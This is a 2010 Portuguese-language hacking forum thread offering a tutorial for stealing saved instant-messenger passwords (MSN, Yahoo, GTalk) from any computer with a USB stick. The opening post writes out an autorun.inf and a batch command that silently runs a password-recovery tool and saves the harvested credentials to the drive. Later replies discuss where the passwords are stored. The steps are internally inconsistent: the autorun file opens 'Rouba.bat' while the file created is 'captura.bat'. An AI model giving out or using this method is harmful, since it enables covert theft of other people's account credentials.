FORUM DARKERS

Segurança & Hacking => Penetration Tests => Topic started by: DarkGenesis on 11 de November , 2010, 10:36:04 PM

Title: Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: DarkGenesis on 11 de November , 2010, 10:36:04 PM
Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!

(http://www.nirsoft.net/utils/mspass.gif)
É bastante simples, primeiramente baixe o mspass em anexo neste tópico. Para aqueles que gostam de baixar direto da fonte, baixe aqui: http://www.nirsoft.net/utils/mspass.html (http://www.nirsoft.net/utils/mspass.html)

Abre o pendrive e crie um documento chamado "autorun.inf".
Nele escreva isso:

[autorun]
open=Rouba.bat
ACTION=Shinigame


Renomeie o disco do seu pendrive para o mesmo nome que esta na propriedade 'Action."

Ex: Se estiver com o nome "Disco Removível" e no Action tiver "Darkers", clique com o botão direito sobre o ícone do pendrive e clique em Remomear e ponha "Darkers" no nome.

Então crie uma pasta chamada mspass, nessa pasta você copia o mspass.exe que você baixou. *Não a instalação e sim o .exe do programa! (Isso somente para quem optou por baixar a instalação dele na fonte logo acima.)

Então você cria um arquivo .bat, que é chamado captura.bat. Nesse arquivo você escreve:

start mspass\mspass.exe /stext Senhas.txt

OK! Isso é tudo que você tem que fazer. Você colocar o o seu pendrive em qualquer computador, o autostart.inf executará o mspass. Depois de alguns segundos, você pode remover o pendrive. Depois disso, aparecerá um arquivo chamado Senhas.txt no seu pendrive, com as senhas que o Mspass pegou!

Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: Nv0 on 14 de November , 2010, 04:47:31 PM
"O Mspass é um programa que decodifica senhas de MSN (e de alguns outros softwares também, como Yahoo Messenger)"

Mas aonde estão essas senhas codificadas? '-'
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: DarkGenesis on 15 de November , 2010, 12:03:34 AM
Quote from: Nv0 on 14 de November , 2010, 04:47:31 PM
"O Mspass é um programa que decodifica senhas de MSN (e de alguns outros softwares também, como Yahoo Messenger)"

Mas aonde estão essas senhas codificadas? '-'

Bom, o Mpass pega as senhas que ficam gravadas no proprio Messenger quando você marca a opção de "lembrar senha".
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: Nv0 on 15 de November , 2010, 02:03:11 AM
E aquele javascript que mostra o que tem nos *** não funcionaria tambem?  8)
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: DarkGenesis on 15 de November , 2010, 08:15:56 AM
Quote from: Nv0 on 15 de November , 2010, 02:03:11 AM
E aquele javascript que mostra o que tem nos *** não funcionaria tambem?  8)

Com javascript você só iria conseguir recuperar senhas gravadas no navegador  (http://www.forum.darkers.com.br/index.php?topic=12718.0)e não as do Messenger.
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: fuckoff on 04 de December , 2010, 09:33:14 PM
Alguém sabe em quais diretórios esses arquivos ficam gravados (refiro-me às senhas do messenger, por exemplo)?

A propósito, invés de alterar o nome da mídia, posso alterar o nome no '.bat'?

Conhece algum decrypter que decodifique essas senhas? Sabe como se chamam as hash's?

Abraços,
StanleySathler.
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: DarkGenesis on 05 de December , 2010, 06:02:12 PM
Quote from: fuckoff on 04 de December , 2010, 09:33:14 PM
Alguém sabe em quais diretórios esses arquivos ficam gravados (refiro-me às senhas do messenger, por exemplo)?

A propósito, invés de alterar o nome da mídia, posso alterar o nome no '.bat'?

Conhece algum decrypter que decodifique essas senhas? Sabe como se chamam as hash's?

Abraços,
StanleySathler.

Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: ÐλяkFeλя on 05 de December , 2010, 07:12:52 PM
Mas Danilo Gentilli??? Ha vá...xD
Title: Re:Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
Post by: Joey on 06 de December , 2010, 04:26:56 PM
Quote from: fuckoff on 04 de December , 2010, 09:33:14 PM
Conhece algum decrypter que decodifique essas senhas? Sabe como se chamam as hash's?

As senhas não estão criptografadas.